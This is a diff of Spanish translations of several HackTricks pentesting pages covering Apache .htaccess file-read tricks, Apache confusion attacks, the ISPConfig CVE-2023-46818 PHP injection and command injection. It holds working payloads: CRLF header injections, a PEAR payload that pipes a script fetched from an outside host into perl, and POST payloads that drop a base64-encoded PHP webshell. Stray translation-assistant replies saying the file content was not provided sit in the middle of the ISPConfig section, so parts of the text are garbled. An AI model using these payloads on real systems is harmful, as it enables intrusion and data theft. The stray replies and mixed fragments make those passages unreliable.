Ahora que se ha realizado una enumeración exhaustiva de la aplicación web es momento de comprobar una gran cantidad de posibles vulnerabilidades. Puedes encontrar el checklist aquí:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Find more info about web vulns in:
|
||||
Más información sobre web vulns en:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -342,7 +341,7 @@ Find more info about web vulns in:
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar páginas y detectar modificaciones que pudieran introducir vulnerabilidades.
|
||||
Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar páginas en busca de modificaciones que puedan insertar vulnerabilidades.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -23,12 +23,12 @@ Linux
|
||||
```
|
||||
## LFI via .htaccess ErrorDocument file provider (ap_expr)
|
||||
|
||||
Si puedes controlar el .htaccess de un directorio y AllowOverride incluye FileInfo para esa ruta, puedes convertir respuestas 404 en lecturas arbitrarias de archivos locales usando la función ap_expr file() dentro de ErrorDocument.
|
||||
Si puedes controlar el .htaccess de un directorio y AllowOverride incluye FileInfo para esa ruta, puedes convertir las respuestas 404 en lecturas arbitrarias de archivos locales usando la función ap_expr file() dentro de ErrorDocument.
|
||||
|
||||
- Requisitos:
|
||||
- Apache 2.4 con expression parser (ap_expr) habilitado (por defecto en 2.4).
|
||||
- Apache 2.4 con el analizador de expresiones (ap_expr) habilitado (por defecto en 2.4).
|
||||
- El vhost/dir debe permitir que .htaccess establezca ErrorDocument (AllowOverride FileInfo).
|
||||
- El Apache worker user debe tener permisos de lectura sobre el archivo objetivo.
|
||||
- El usuario worker de Apache debe tener permisos de lectura sobre el archivo objetivo.
|
||||
|
||||
.htaccess payload:
|
||||
```apache
|
||||
@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
Provóquelo solicitando cualquier ruta inexistente dentro de ese directorio, por ejemplo al abusar de userdir-style hosting:
|
||||
Se desencadena solicitando cualquier ruta inexistente debajo de ese directorio, por ejemplo al abusar de userdir-style hosting:
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
Notas y consejos:
|
||||
- Solo funcionan rutas absolutas. El contenido se devuelve como el cuerpo de la respuesta para el handler 404.
|
||||
- Los permisos de lectura efectivos son los del usuario de Apache (típicamente www-data/apache). No podrás leer /root/* o /etc/shadow en configuraciones por defecto.
|
||||
- Incluso si .htaccess es root-owned, si el directorio padre es tenant-owned y permite rename, es posible que puedas renombrar el .htaccess original y subir tu propio reemplazo vía SFTP/FTP:
|
||||
- Los permisos efectivos de lectura son los del usuario de Apache (típicamente www-data/apache). No podrás leer /root/* ni /etc/shadow en configuraciones por defecto.
|
||||
- Incluso si .htaccess es root-owned, si el directorio padre es tenant-owned y permite renombrar, podrías renombrar el .htaccess original y subir tu propio reemplazo vía SFTP/FTP:
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- Úsalo para leer el código fuente de la aplicación bajo DocumentRoot o rutas de configuración vhost para recolectar secretos (DB creds, API keys, etc.).
|
||||
- Usa esto para leer el código fuente de la aplicación bajo DocumentRoot o las rutas de configuración de vhost para extraer secretos (DB creds, API keys, etc.).
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
@ -57,7 +57,7 @@ These types of attacks has been introduced and documented [**by Orange in this b
|
||||
|
||||
#### Truncation
|
||||
|
||||
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Pero en otras ocasiones esto será tratado como una ruta de archivo, lo que puede causar un problema.
|
||||
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
|
||||
|
||||
- **Path Truncation**
|
||||
|
||||
@ -74,9 +74,9 @@ curl http://server/user/orange
|
||||
curl http://server/user/orange%2Fsecret.yml%3F
|
||||
# the output of file `/var/user/orange/secret.yml`
|
||||
```
|
||||
- **Asignación engañosa de RewriteFlag**
|
||||
- **Mislead RewriteFlag Assignment**
|
||||
|
||||
En la siguiente regla de reescritura, siempre que la URL termine en .php será tratada y ejecutada como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un archivo de tipo diferente (por ejemplo una imagen) con código php malicioso en su interior:
|
||||
En la siguiente regla de reescritura, mientras la URL termine en .php será tratada y ejecutada como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un tipo de archivo diferente (como una imagen) con código php malicioso en su interior:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería estar denegado con configuraciones como:
|
||||
Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería denegarse con configuraciones como:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
@ -100,7 +100,7 @@ AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en `.php`, como `http://server/admin.php%3Fooo.php`, y dado que PHP-FPM eliminará cualquier cosa después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla previa lo prohibía.
|
||||
Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminen en `.php`, como `http://server/admin.php%3Fooo.php`, y porque PHP-FPM eliminará todo lo que venga después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla anterior lo prohibía.
|
||||
|
||||
### Confusión de DocumentRoot
|
||||
```bash
|
||||
@ -109,11 +109,11 @@ RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde el documentRoot como desde root. Así, una petición a `https://server/abouth.html` comprobará la existencia del archivo en `/var/www/html/about.html` y en `/about.html` en el sistema de archivos. Esto, básicamente, puede ser abusado para acceder a archivos del sistema de archivos.
|
||||
|
||||
#### **Server-Side Source Code Disclosure**
|
||||
#### **Divulgación del código fuente del lado del servidor**
|
||||
|
||||
- **Disclose CGI Source Code**
|
||||
- **Revelar el código fuente de CGI**
|
||||
|
||||
Con solo añadir un %3F al final basta para leak the source code of a cgi module:
|
||||
Con solo añadir un %3F al final es suficiente para leak el código fuente de un CGI module:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
@ -125,7 +125,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
```
|
||||
- **Divulgar PHP Source Code**
|
||||
|
||||
Si un servidor tiene distintos dominios y uno de ellos es un dominio estático, esto puede aprovecharse para recorrer el sistema de archivos y leak php code:
|
||||
Si un servidor tiene diferentes dominios con uno de ellos siendo un dominio estático, esto puede ser abusado para recorrer el sistema de archivos y leak php code:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
@ -133,7 +133,7 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
```
|
||||
#### **Local Gadgets Manipulation**
|
||||
|
||||
El principal problema con el ataque anterior es que, por defecto, la mayor parte del acceso al sistema de archivos será denegado como en Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
|
||||
El principal problema con el ataque anterior es que, por defecto, la mayoría del acceso al sistema de archivos será denegado, como muestra la [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) de Apache HTTP Server:
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
@ -151,7 +151,7 @@ Por lo tanto, sería posible **abusar de archivos ubicados dentro de `/usr/share
|
||||
|
||||
**Local Gadget to Information Disclosure**
|
||||
|
||||
- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, que puede leak variables de entorno sensibles.
|
||||
- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, el cual puede leak variables de entorno sensibles.
|
||||
- Servidores con **Nginx** o **Jetty** podrían exponer información sensible de aplicaciones web (p. ej., **web.xml**) a través de sus raíces web por defecto ubicadas bajo **/usr/share**:
|
||||
- **/usr/share/nginx/html/**
|
||||
- **/usr/share/jetty9/etc/**
|
||||
@ -159,22 +159,22 @@ Por lo tanto, sería posible **abusar de archivos ubicados dentro de `/usr/share
|
||||
|
||||
**Local Gadget to XSS**
|
||||
|
||||
- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede conducir a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o versiones antiguas mediante **unsafe RewriteRule**.
|
||||
- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede llevar a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o a versiones anteriores mediante una **RewriteRule insegura**.
|
||||
|
||||
**Local Gadget to LFI**
|
||||
|
||||
- Si PHP o ciertos paquetes front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**:
|
||||
- Si PHP o ciertos paquetes de front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**:
|
||||
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
- **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Local Gadget to SSRF**
|
||||
|
||||
- Utilizando **MagpieRSS's magpie_debug.php** en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta a exploits adicionales.
|
||||
- Utilizando **magpie_debug.php** de MagpieRSS en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta a exploits adicionales.
|
||||
|
||||
**Local Gadget to RCE**
|
||||
|
||||
- Las oportunidades para **Remote Code Execution (RCE)** son amplias, con instalaciones vulnerables como una **PHPUnit** desactualizada o **phpLiteAdmin**. Estas pueden explotarse para ejecutar código arbitrario, demostrando el extenso potencial de la manipulación de local gadgets.
|
||||
- Las oportunidades para **Remote Code Execution (RCE)** son numerosas, con instalaciones vulnerables como versiones desactualizadas de **PHPUnit** o **phpLiteAdmin**. Estas pueden explotarse para ejecutar código arbitrario, demostrando el amplio potencial de la manipulación de gadgets locales.
|
||||
|
||||
#### **Jailbreak from Local Gadgets**
|
||||
|
||||
@ -188,24 +188,24 @@ También es posible hacer jailbreak desde las carpetas permitidas siguiendo syml
|
||||
|
||||
Además, abusando de symlinks fue posible obtener **RCE en Redmine.**
|
||||
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
### Confusión de handlers <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
Este ataque explota la superposición en la funcionalidad entre las directivas `AddHandler` y `AddType`, que ambas pueden usarse para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban campos diferentes (`r->handler` y `r->content_type` respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas indistintamente bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el último no.
|
||||
Este ataque explota la superposición de funcionalidad entre las directivas `AddHandler` y `AddType`, las cuales pueden usarse para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban campos diferentes (`r->handler` y `r->content_type`, respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas de forma intercambiable bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el segundo no lo está.
|
||||
|
||||
Además, en Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **usa `r->content_type` como handler**, haciendo efectivamente que `AddType` y `AddHandler` sean idénticos en efecto.
|
||||
Además, en el Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **usa `r->content_type` como handler**, haciendo efectivamente que `AddType` y `AddHandler` tengan el mismo efecto.
|
||||
|
||||
#### **Overwrite Handler to Disclose PHP Source Code**
|
||||
|
||||
En [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad donde un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache, por error, **devuelva el código fuente PHP**. Esto se debía a un problema en el manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta conduce a sobrescribir `r->content_type` a `text/html`.\
|
||||
Debido a que ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría.
|
||||
En [**esta charla**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad en la que un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache, por error, **devuelva el código fuente PHP**. Esto se debía a un problema de manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una respuesta doble conduce a sobrescribir `r->content_type` a `text/html`.\
|
||||
Porque ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría.
|
||||
|
||||
#### **Overwrite Handler to XXXX**
|
||||
|
||||
TODO: Orange aún no ha divulgado esta vulnerabilidad
|
||||
TODO: Orange no ha divulgado esta vulnerabilidad aún
|
||||
|
||||
### **Invoke Arbitrary Handlers**
|
||||
|
||||
Si un atacante puede controlar la cabecera **`Content-Type`** en una respuesta del servidor, podrá **invocar handlers arbitrarios de módulos**. Sin embargo, para cuando el atacante controle esto, la mayor parte del procesamiento de la request ya se habrá realizado. No obstante, es posible **reiniciar el proceso de la request abusando de la cabecera `Location`** porque si el `Status` devuelto es 200 y la cabecera `Location` comienza con `/`, la respuesta se trata como una Server-Side Redirection y debe ser procesada
|
||||
Si un atacante puede controlar la cabecera **`Content-Type`** en la respuesta del servidor, podrá **invocar handlers de módulos arbitrarios**. Sin embargo, para cuando el atacante controla esto, la mayor parte del procesamiento de la petición ya habrá ocurrido. No obstante, es posible **reiniciar el proceso de la petición abusando de la cabecera `Location`** porque si el **r**eturned `Status` es 200 y la cabecera `Location` comienza con `/`, la respuesta se trata como una Server-Side Redirection y debe ser procesada
|
||||
|
||||
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
|
||||
|
||||
@ -213,26 +213,26 @@ According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specific
|
||||
|
||||
Por lo tanto, para realizar este ataque se necesita una de las siguientes vulnerabilidades:
|
||||
|
||||
- CRLF Injection in the CGI response headers
|
||||
- SSRF with complete control of the response headers
|
||||
- CRLF Injection en las cabeceras de respuesta CGI
|
||||
- SSRF con control completo de las cabeceras de respuesta
|
||||
|
||||
#### **Arbitrary Handler to Information Disclosure**
|
||||
|
||||
Por ejemplo `/server-status` debería ser accesible solo localmente:
|
||||
Por ejemplo, `/server-status` solo debería ser accesible localmente:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
Es posible acceder a él estableciendo el `Content-Type` en `server-status` y la cabecera Location que comience por `/`
|
||||
Es posible acceder a él estableciendo el `Content-Type` en `server-status` y la cabecera Location empezando por `/`.
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Handler arbitrario a SSRF completa**
|
||||
#### **Manejador Arbitrario a SSRF completo**
|
||||
|
||||
Redirigiendo a `mod_proxy` para acceder a cualquier protocolo en cualquier URL:
|
||||
```
|
||||
@ -243,11 +243,11 @@ http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Sin embargo, se añade la cabecera `X-Forwarded-For`, lo que impide el acceso a los endpoints de metadatos en la nube.
|
||||
Sin embargo, se añade el encabezado `X-Forwarded-For`, impidiendo el acceso a los puntos finales de metadatos de la nube.
|
||||
|
||||
#### **Manejador arbitrario para acceder al Unix Domain Socket local**
|
||||
#### **Handler arbitrario para acceder al socket de dominio Unix local**
|
||||
|
||||
Accede al Unix Domain Socket local de PHP-FPM para ejecutar un PHP backdoor ubicado en `/tmp/`:
|
||||
Accede al socket de dominio Unix local de PHP-FPM para ejecutar un backdoor PHP ubicado en `/tmp/`:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
|
||||
```
|
||||
#### **Arbitrary Handler to RCE**
|
||||
|
||||
La imagen oficial de [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de línea de comandos para la gestión de paquetes de PHP, que puede ser abusada para obtener RCE:
|
||||
La imagen oficial de [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de gestión de paquetes de PHP desde la línea de comandos, que puede ser abusada para obtener RCE:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
@ -265,13 +265,13 @@ orange.tw/x|perl
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para conocer los detalles de esta técnica.
|
||||
Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para los detalles de esta técnica.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
|
||||
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
|
||||
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
|
||||
- [Apache 2.4 Respuestas de error personalizadas (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
|
||||
- [Apache 2.4 Expresiones y funciones (file:)](https://httpd.apache.org/docs/2.4/expr.html)
|
||||
- [HTB Zero write-up: .htaccess ErrorDocument LFI y abuso de cron pgrep](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Visión general
|
||||
## Descripción general
|
||||
|
||||
ISPConfig es un panel de control de hosting de código abierto. Las versiones antiguas 3.2.x incluían una función de editor de archivos de idioma que, cuando estaba habilitada para el superadministrador, permitía la inyección arbitraria de código PHP mediante un registro de traducción malformado. Esto puede dar lugar a RCE en el contexto del servidor web y, dependiendo de cómo se ejecute PHP, a escalada de privilegios.
|
||||
|
||||
Rutas predeterminadas importantes:
|
||||
Rutas predeterminadas clave:
|
||||
- La raíz web suele estar en `/var/www/ispconfig` cuando se sirve con `php -S` o vía Apache/nginx.
|
||||
- La interfaz de administración es accesible en el vhost HTTP(S) (a veces ligada solo a localhost; usa un reenvío de puertos SSH si es necesario).
|
||||
- La UI de administración es accesible en el vhost HTTP(S) (a veces enlazado solo a localhost; use SSH port-forward si es necesario).
|
||||
|
||||
Consejo: Si el panel está ligado localmente (p. ej. `127.0.0.1:8080`), reenvíalo:
|
||||
Consejo: Si el panel está enlazado localmente (p. ej. `127.0.0.1:8080`), haz un port-forward:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## Language editor PHP code injection (CVE-2023-46818)
|
||||
|
||||
- Afectado: ISPConfig hasta 3.2.11 (corregido en 3.2.11p1)
|
||||
- Precondiciones:
|
||||
- Iniciar sesión con la cuenta superadmin incorporada `admin` (según el proveedor, otros roles no se ven afectados)
|
||||
- El editor de idioma debe estar habilitado: `admin_allow_langedit=yes` en `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impacto: Un administrador autenticado puede inyectar PHP arbitrario que se escribe en un archivo de idioma y es ejecutado por la aplicación, logrando RCE en el contexto web
|
||||
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Preconditions:
|
||||
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
|
||||
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
|
||||
|
||||
Referencias: Entrada NVD CVE-2023-46818 y enlace del aviso del proveedor en la sección Referencias más abajo.
|
||||
Referencias: entrada NVD CVE-2023-46818 y enlace advisory del proveedor en la sección References más abajo.
|
||||
|
||||
### Flujo de explotación manual
|
||||
|
||||
1) Abrir/crear un archivo de idioma para obtener tokens CSRF
|
||||
|
||||
Enviar un primer POST para inicializar el formulario y parsear los campos CSRF desde la respuesta HTML (`csrf_id`, `csrf_key`). Ruta de ejemplo: `/admin/language_edit.php`.
|
||||
Enviar un primer POST para inicializar el formulario y parsear los campos CSRF de la respuesta HTML (`csrf_id`, `csrf_key`). Ruta de ejemplo: `/admin/language_edit.php`.
|
||||
|
||||
2) Inyectar PHP vía records[] y guardar
|
||||
|
||||
Enviar un segundo POST que incluya los campos CSRF y un registro de traducción malicioso. Pruebas mínimas de ejecución de comandos:
|
||||
Enviar un segundo POST incluyendo los campos CSRF y un registro de traducción malicioso. Sondas mínimas para ejecución de comandos:
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
@ -46,39 +46,39 @@ Prueba fuera de banda (observar ICMP):
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) Escribir archivos y colocar un webshell
|
||||
3) Escribir archivos y dejar un webshell
|
||||
|
||||
Usa `file_put_contents` para crear un archivo en una ruta accesible desde la web (por ejemplo, `admin/`):
|
||||
Usa `file_put_contents` para crear un archivo en una ruta accesible vía web (por ejemplo, `admin/`):
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
Luego escribe un webshell simple usando base64 para evitar caracteres no válidos en el cuerpo POST:
|
||||
A continuación, escribe un simple webshell usando base64 para evitar caracteres no válidos en el POST body:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
No tengo acceso directo a tu archivo. Por favor pega aquí el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md que quieres que traduzca. Mantendré exactamente el mismo markdown/HTML y traduciré solo el texto relevante según tus instrucciones.
|
||||
No veo el contenido del archivo. Por favor pega aquí el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md (o súbelo) y lo traduciré al español manteniendo exactamente la misma sintaxis markdown/HTML y las excepciones indicadas.
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
Si PHP se ejecuta como root (p. ej., vía `php -S 127.0.0.1:8080` iniciado por root), esto produce root RCE inmediato. De lo contrario, obtienes code execution como el usuario del servidor web.
|
||||
Si PHP se ejecuta como root (p. ej., vía `php -S 127.0.0.1:8080` iniciado por root), esto produce RCE root inmediato. De lo contrario, obtienes ejecución de código como el usuario del servidor web.
|
||||
|
||||
### Python PoC
|
||||
|
||||
Un exploit listo para usar automatiza el token handling y payload delivery:
|
||||
- https://github.com/bipbopbup/CVE-2023-46818-python-exploit
|
||||
Un exploit listo para usar automatiza token handling y payload delivery:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
Ejemplo de ejecución:
|
||||
```bash
|
||||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
### Endurecimiento
|
||||
### Hardening
|
||||
|
||||
- Actualizar a 3.2.11p1 o posterior
|
||||
- Desactivar el editor de idiomas salvo que sea estrictamente necesario:
|
||||
- Desactivar el editor de idiomas a menos que sea estrictamente necesario:
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- Evitar ejecutar el panel como root; configurar PHP-FPM o el servidor web para reducir privilegios
|
||||
- Evita ejecutar el panel como root; configura PHP-FPM o el servidor web para que use privilegios reducidos
|
||||
- Imponer autenticación fuerte para la cuenta integrada `admin`
|
||||
|
||||
## Referencias
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## ¿Qué es command Injection?
|
||||
## What is command Injection?
|
||||
|
||||
Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso o control no autorizado sobre el entorno de la aplicación y el sistema subyacente.
|
||||
Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
|
||||
|
||||
### Contexto
|
||||
|
||||
Dependiendo de **dónde se inyecte tu entrada**, puede que necesites **terminar el contexto entrecomillado** (usando `"` o `'`) antes de los comandos.
|
||||
Dependiendo de **dónde se esté inyectando tu entrada** puede que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limitación** Bypasses
|
||||
|
||||
Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer acerca de estos **Bypasses:**
|
||||
### **Limition** Bypasses
|
||||
|
||||
Si estás intentando ejecutar **comandos arbitrarios en una máquina linux** te interesará leer sobre estos **Bypasses:**
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parámetros
|
||||
|
||||
Aquí están los 25 parámetros principales que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Aquí están los 25 principales parámetros que podrían ser vulnerables a code injection y vulnerabilidades RCE similares (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -75,9 +74,9 @@ Aquí están los 25 parámetros principales que podrían ser vulnerables a code
|
||||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
